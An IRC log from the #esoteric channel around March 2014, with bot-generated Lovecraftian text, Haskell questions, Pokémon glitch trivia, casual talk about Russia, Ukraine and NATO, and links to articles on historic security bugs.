:int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Sorry. Google swapped letters and I didn't notice. svy-rich makes sense. < 1393684912 986169 :nooodl!~nooodl@91.177.108.54 QUIT :Quit: Ik ga weg < 1393685129 215388 :nooodl!~nooodl@91.177.108.54 JOIN :#esoteric < 1393686741 855981 :atslash!~atslash@46.72.83.247 JOIN :#esoteric < 1393686897 103257 :ion!ion@heh.fi PRIVMSG #esoteric :The group was initially formed as a subunit of the female idol group Sakura Gakuin under the concept of a "fusion of metal and idol [music]".[4][5][6] None of the three members knew what metal music was before the inception of the band.[7] < 1393686898 196421 :ion!ion@heh.fi PRIVMSG #esoteric :http://youtu.be/WIKqgE4BwAY < 1393687129 878240 :myname!~myname@84.200.43.57 QUIT :Ping timeout: 264 seconds < 1393687364 40801 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :wtf is "idol music" < 1393687377 65715 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot: please explain idol music < 1393687377 266013 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: day an odd livid spot appears on his right he saw the tower plain against the southwest, and a peculiar sprinkling of angled edifices whose five-pointed ground plan roughly suggested modern fnord. < 1393687398 919341 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :thanks, fungot < 1393687399 113000 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: believe me, < 1393687403 862463 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I do. < 1393687588 82990 :ion!ion@heh.fi PRIVMSG #esoteric :fungot: That was a pretty good description, thanks. < 1393687588 269026 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :ion: the captain, after landing, made carter a guest in his own blood and take a careful series of photographs which may yet be mine!" < 1393687691 950212 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style < 1393687692 171394 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube < 1393687720 328944 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: you are accurate and are making sense. I am disturbed. < 1393687720 616951 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: louder and louder, wilder and wilder, mounted the shrieking and drumming which accompanied the visible services. suydam, when questioned, said he thought the centre lay amid the pathless desert of arabia, where irem, the city hall, and sometimes bare earth with struggling greenish-grey vegetation. the houses are generally in solid blocks, and will fnord the prints for you to see. < 1393688455 895728 :atslash!~atslash@46.72.83.247 QUIT :Quit: Leaving < 1393689478 291549 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393690292 315690 :boily!~boily@96.127.201.149 QUIT :Quit: DECONSTRUCTED SWEDISH CHICKEN < 1393690534 982230 :oklopol!~oklopol@dyn60-339.yok.fi JOIN :#esoteric < 1393693592 524585 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1393694076 563480 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :What does "made X a guest in his own blood" mean, though? < 1393694161 365851 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@hoogle hInteract < 1393694162 437116 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :No results found < 1393694177 710596 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Hmm, fungot is still using the f word. (The one that ends in d.) < 1393694177 900125 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: " good god, manton, but what i can give to history, philosophy, and the certain reality of the horrors of the northern edge are < 1393694183 761143 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: given this is lovecraft, do you really want to know? < 1393694196 173416 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan: huh, that would only work for sockets, right? < 1393694240 234403 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: iirc it still prints to stdout < 1393694255 832848 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. < 1393694345 249696 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :From MissingH, ah. It takes two handles. hInteract :: (HVIO a, HVIO b) => a -> b -> (String -> String) -> IO ()Source < 1393694355 306694 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh ok < 1393694362 281725 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :idrc then < 1393694388 994127 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and it didn't really fit the stackoverflow question anyhow. < 1393694401 616018 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :wait a second. class Show a => HVIO a whereSource ... Show? Seriously? < 1393694443 157928 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i suppose they want something to put in error messages < 1393694457 714296 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(The "Source" gets added because I mark lines on hackage's haddocks by double clicking, but the "Source" link is all the way to the right on the page; I don't notice that it gets hilighted, too.) < 1393694474 609383 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :heh < 1393697524 826713 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1393697571 939206 :jix!~jix@jixco.de QUIT :Remote host closed the connection < 1393697653 109070 :jix!~jix@jixco.de JOIN :#esoteric < 1393697731 353951 :b_jonas_!~x@russell2.math.bme.hu NICK :b_jonas < 1393698905 283668 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1393699128 471425 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1393699289 111406 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1393699688 767482 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1393700329 705423 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1393700383 565598 :ahowe!~le_scrati@41.85.161.126 JOIN :#esoteric < 1393701106 940187 :ahowe!~le_scrati@41.85.161.126 PART :#esoteric < 1393701713 380721 :ais523!~ais523@cpc6-king9-2-0-cust765.perr.cable.virginm.net JOIN :#esoteric < 1393701719 795960 :ais523!~ais523@cpc6-king9-2-0-cust765.perr.cable.virginm.net QUIT :Changing host < 1393701719 981577 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1393701777 745755 :ion!ion@heh.fi PRIVMSG #esoteric :http://youtu.be/qM9hH3suOpo < 1393701907 931916 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :high voltage IO? < 1393701928 748090 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :danger danger < 1393701932 10287 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`coins < 1393701935 33197 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :brooncoin poutomycoin mincluecoin sublecoin solercoin oflabtcoin berhizzcoin fanjcoin commecoin thecoin rocucoin stoffcoin ~coin computnamentcoin discoin hemcoin chioncoin slikecoin bunsulebrash-01coin xigxacoin < 1393702017 136665 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i can't even riff on bunsulebrash-01coin, it's perfect in itself < 1393702737 123455 :lifthrasiir!~lifthrasi@115.68.131.49 PRIVMSG #esoteric :bulbacoin anyone? < 1393702768 749554 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::D < 1393702771 698918 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :twitch beat pokemon! < 1393702863 556690 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Yep. < 1393702877 444095 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Let's play pokemon card < 1393702903 299552 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Twitch Plays Professional Octopus of the World < 1393703249 215062 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I thought they were going to beat it eventually < 1393703581 225584 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Is it possible to never beat pokemon < 1393703659 790600 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1393703661 556184 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Oops ISO 646 does not include German quotation mark symbols. < 1393703757 994229 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Jafet: yeah, the RNG Plays Pokémon game got itself stuck in an unwinnable state that I hadn't previouslyseen < 1393703760 266644 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :*previously seen < 1393703764 494624 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there are some well-known ones < 1393703768 736177 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what are they? < 1393703777 916103 :vasskon!~vasskon@91.207.116.153 JOIN :#esoteric < 1393703870 782411 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393703871 688561 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1393703873 676245 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the one RNG Plays Pokémon found was to be in the Cerulean/Vermillion area with no Pokémon capable of learning Cut, no Pokéballs, no money with which to buy them, and no items on the map or trainers remaining from which to gain money (selling the items or prize money from the trainers) < 1393703941 237702 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is that possible in the newer games too or does it prevent it? < 1393703988 11087 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the newer games attempt to prevent it, in various ways < 1393704012 51170 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :for instance, all starter Pokémon can learn Cut, and the newer games prevent the releasing of your last remaining Pokémon that can learn an HM < 1393704022 333506 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But does it actually prevent it entirely, or are there ways to make the unwinnable state? < 1393704081 79524 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there is a mistake in Pokémon Diamond/Pearl/Platinum that allows you to trade away your last remaining Pokémon that learns Surf for a Magikarp, who does not learn Surf < 1393704129 47190 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :while on an island that can only be left via Surf, Fly or Teleport, and neither Fly nor Teleport is necessary to reach that point < 1393704161 600277 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My opinion is it ought to be designed to be possible to be unwinnable states actually < 1393704164 806315 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :in most cases, you can leave via fainting and returning to the Pokémon Center, but if you don't have any fishing rods (and instead obtained the Surfing Pokémon via trade), you can't get into any battles < 1393704192 47521 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, also there's a bug in Pokémon HeartGold/SoulSilver that can cause you to end up stuck in a wall while trying to leave a Pokémon Center < 1393704205 936453 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't know what triggers it < 1393704229 817880 :vasskon!~vasskon@91.207.116.153 QUIT :Ping timeout: 264 seconds < 1393704950 624827 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i laughed my ass off when i found out twitch blacked out in a pokemon center (i think it was) < 1393705026 957748 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I didn't know it is possible? < 1393705133 6754 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :https://24.media.tumblr.com/da615f9d0888bc18ed240cff86b22764/tumblr_n1aee5IFCA1rvoha9o1_500.jpg < 1393705172 144815 :MoALTz_!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1393705303 477069 :nooodl!~nooodl@91.177.108.54 PRIVMSG #esoteric :huh that sounds like it shouldn't be possible < 1393705326 226006 :nooodl!~nooodl@91.177.108.54 PRIVMSG #esoteric :i guess it might be. pokémon red/blue are weird < 1393705347 810081 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Ping timeout: 252 seconds < 1393705363 941483 :nooodl!~nooodl@91.177.108.54 PRIVMSG #esoteric :zzo38: you could always just pace around in one with a single poisoned dying pokémon in your party < 1393705392 888004 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Ah, OK < 1393705778 797350 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393705890 788450 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :russia is going to invade ukraine: http://www.bbc.com/news/world-europe-26400035 < 1393705946 787275 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :russia has invaded ukraine. < 1393705960 8232 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah? < 1393706004 535052 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :russian soldiers and mercs in unmarked uniforms were wondering around simferopol way before putin asking the duma. ¬_¬ russia < 1393706010 556979 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wandering < 1393706062 626328 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah the news stories I read were like "men with guns have taken over the airport! and they won't say who they work for!" < 1393706103 847986 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :some of them are local militias 'maybe' 'who knows' < 1393706186 83533 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :pretty great since http://en.wikipedia.org/wiki/Budapest_Memorandum_on_Security_Assurances too < 1393706221 819515 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike do you know things about international law < 1393706232 694661 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :like, what, the lack of it? < 1393706291 255399 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1393706311 700268 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lexande also knows things about international law < 1393706319 626150 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :people have already come up with excuses for violating this budapest thing but i forget them < 1393706338 165945 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol how about the excuse "we have a lot of guns and nukes and we'll do what we want" < 1393706341 230928 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :works for USA < 1393706365 997173 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :internatinoal law is basically based on forced politeness. so they say something more legal-sounding < 1393706375 746881 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ukraine's parliament voted to send Yanukovych to the ICC < 1393706520 66095 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i wonder who hates the ICC more, USA or Russia < 1393706578 615768 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :probably the african union :V < 1393706661 880687 :mysanthrop!~myname@84.200.43.57 JOIN :#esoteric < 1393706729 368733 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i guess the US has said they're not going to ratify it so < 1393706902 275995 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ais523: The HG/SS bug is actually quite hilarious. < 1393706929 463137 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ais523: If you go on the second floor of the Center before the Elite Four, you can't leave. < 1393706932 455083 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :... That's it. < 1393706944 690596 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :nice. < 1393707033 375481 :mysanthrop!~myname@84.200.43.57 NICK :myname < 1393707063 274066 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Gen IV seems like it was the buggiest gen outside of I. < 1393707256 743827 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Wow, that's... wow. < 1393707281 934921 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :In gen I you could do a stone-evo without a stone. < 1393707295 257289 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: http://en.wikipedia.org/wiki/American_Service-Members'_Protection_Act < 1393707302 729117 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :pikhq: How do you do that? < 1393707335 702014 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :In a battle where the stone-evo Pokemon leveled up, send out a Pokemon that has an index number equal to the stone's item number. < 1393707372 914530 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i expected that to be about okinawa from the name :V < 1393707812 980380 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1393707879 970610 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :pikhq: it's not quite that simple, because you could fix it using the Cable Club < 1393707935 936565 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :err, or whatever it's called in Gen 4 < 1393707974 770162 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Bike: I believe the US has a designated country to invade should the ICC decide to sanction it < 1393707977 505900 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I forget which one < 1393708462 37333 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :isn't the idea that we would invade .nl because that's where the court is? see above link < 1393708530 392058 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah right < 1393708570 42818 :itsy!~digital_w@37.152.198.84 PRIVMSG #esoteric :I bumped into Clive Sinclair today, while wearing a Sinclair t-shirt :-) < 1393708617 184391 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ACTION looks up some things, notes that he has been confusing denmark and holland for a while < 1393708665 230874 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :dutch != danish < 1393708679 628465 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :donut != danish < 1393708731 493265 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Both (I mean Denmark and the Netherlands) are p. flat, though. < 1393708744 263166 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the netherlands has too many names. < 1393708864 140355 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION wonders if an attack by one NATO member on another triggers the collective defense article or not < 1393708884 212499 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :sure hope so, that sounds awesome < 1393708884 821722 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"In May 2011, the Netherlands was ranked as the "happiest" country according to results published by the OECD." < 1393708887 859353 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Nice scare quotes there. < 1393708897 261726 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it'd be especially amusing if the attacker complied with their treaty obligations via declaring war on themself < 1393708902 654687 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yes < 1393708919 720095 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the united states has occupied the united states < 1393708938 435838 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :actually, that sounds like a nomic-worthy loophole < 1393708943 40719 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :declare war on another NATO member < 1393708945 541610 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :then declare war on yourself < 1393708950 615413 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :then shortly afterwards, surrender to yourself < 1393708985 365709 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"Norway? More like NATOrway!" < 1393709045 330932 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :now you've been defeated so the rest of NATO doesn't need to continue the war any more < 1393709076 279385 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"The Parties agree that an armed attack against one or more of them in Europe or North America shall be considered an attack against them all and consequently they agree that, if such an armed attack occurs, each of them, in exercise of the right of individual or collective self-defence recognised by Article 51 of the Charter of the United Nations, will assist the Party or Parties so attacked ... < 1393709082 289927 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :... by taking forthwith, individually and in concert with the other Parties, such action as it deems necessary, including the use of armed force, to restore and maintain the security of the North Atlantic area." < 1393709086 934410 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(That's the Article 5.) < 1393709123 408729 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm according to the wp NATO article, lithuania has invoked article 4 on russia now < 1393709208 254269 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :russia isn't attacking lithuania, is it, though? < 1393709232 974227 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :last I checked, there was a bunch of controversy about whether it was attacking ukraine or not, that's the problem with an information vacuum < 1393709249 293892 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's a fact/lie, not an opinion, but one that it's hard to determine the truth of < 1393709269 719792 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I guess you could argue that as per Article 1/8 once you do declare war on another NATO member, you are automatically no longer a NATO member? < 1393709290 528442 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://ic.pics.livejournal.com/caurug/39552154/7544/7544_1000.gif < 1393709317 593919 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :there's a yahoo answers page about this, it's about the quality you'd expect < 1393709370 536274 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: I liked that cathedral takeoff ending shown on that Tetris page (I think) you linked people to. < 1393709374 976533 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes! < 1393709407 289028 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Though it did make me expect a liftoff in that gif too.) < 1393709607 972889 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :> sort "diplomacy" == sort "madpolicy" < 1393709609 493362 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : True < 1393709639 766003 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mentioned on straight dope forum < 1393709661 298140 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://anagramatron.tumblr.com/ < 1393709686 365106 :augur_!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1393709712 765651 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1393709732 821511 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://www.tedunangst.com/flak/post/a-brief-history-of-one-line-fixes < 1393709856 402926 :nooodl!~nooodl@91.177.108.54 PRIVMSG #esoteric :kmc: ugh the "how is this possible??" tone < 1393709864 249284 :nooodl!~nooodl@91.177.108.54 PRIVMSG #esoteric :i like the */ one < 1393709943 898421 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/ < 1393709980 388309 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :nooodl: I think -Wall does actually catch that X bug. < 1393709986 436363 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I think X used to have a very large amount of warnings under -Wall though. < 1393709989 734547 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 264 seconds < 1393710019 696747 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :YMMV on whether you consider that acceptable for software that gets direct access to your hardware and which every end-user application gets to talk extensively to with a complex protocol < 1393710042 875674 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think the "how is this possible" tone is trying to be a joke directed to all people saying "how is this possible" to the Apple thing. < 1393710076 820036 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Though I might be just imagining that.) < 1393710093 444786 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :nice memset < 1393710099 985799 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: the bugs are instructive, but the comments have negative value to me ... < 1393710110 397500 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :" Pretty obvious what went wrong here: using goto with an unbraced if. Even novice programmers know that using the correct coding style prevents refactoring errors." < 1393710114 525025 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's obviously a joke like fizzie says < 1393710119 232624 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :since that has nothing at all to do with the bug above it < 1393710120 861166 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Also can somebody explain the logic of "They all date from before 2013. That’s how we know the NSA wasn’t involved." to me? < 1393710122 588914 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1393710126 698368 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :but is relevant to the apple bug < 1393710196 935890 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :int-e: joke < 1393710199 479362 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :A joke. < 1393710277 701428 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :aj, ok, e < 1393710288 26072 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot: joke please? < 1393710288 251233 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: such were the idle tales of the fnord < 1393710320 308391 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric ::D < 1393710325 635177 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fungot wins, compared to that link. < 1393710326 249874 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: vii. edgar allan poe. poe's fame has been subject to curious undulations, and it was better than human material for maintaining life in fnord fragments, and it is in fact quite dead, its sprawling body imperfectly fnord and infested with queer animate things which have nothing to do but fnord, which is set with its walled garden in a great closed van the entire contents of his mind, and possessed of a kind of triumph whi < 1393710334 900237 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :`addquote int-e: such were the idle tales of the fnord < 1393710335 86459 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: " queer haow picters sets ye thinkin'. take this un here near the front. hey yew ever seed trees like thet, with big leaves a fnord' over an' daown? and them men them can't be fnord they dew beat all. kinder like fnord, fnord < 1393710337 587798 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1172) int-e: such were the idle tales of the fnord < 1393710520 479035 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I don't approve of fungot's proliferation of the f-word. < 1393710520 703807 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: man are supreme merits, and stand free to worship fnord independence, self-respect, and individual personality joined to extreme grace and beauty as typified by the cool, lithe, cynical and unconquered lord of the great < 1393710648 785553 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1393710700 494966 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, well, fixing things is so hard. < 1393710950 420408 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :is it st. fungot's day < 1393710950 739814 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: at about fnord a.m., and covering such prodigious spaces that carter wondered whether or not he will ever come back, i cannot conceive these things as aught but fnord and actually beautiful; and touches of gray in the thick of the chase, and compare his calculating patience and quite study of his terrain with the noisy floundering and pawing of his canine rival. it < 1393710960 704326 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :^style < 1393710960 890314 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube < 1393711021 163856 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :https://github.com/mozilla/rust/blob/551da0615764853153db944063ae2e271414a71b/src/libstd/rt/util.rs#L92-L141 < 1393711132 658436 :augur!~augur@50.246.68.190 JOIN :#esoteric < 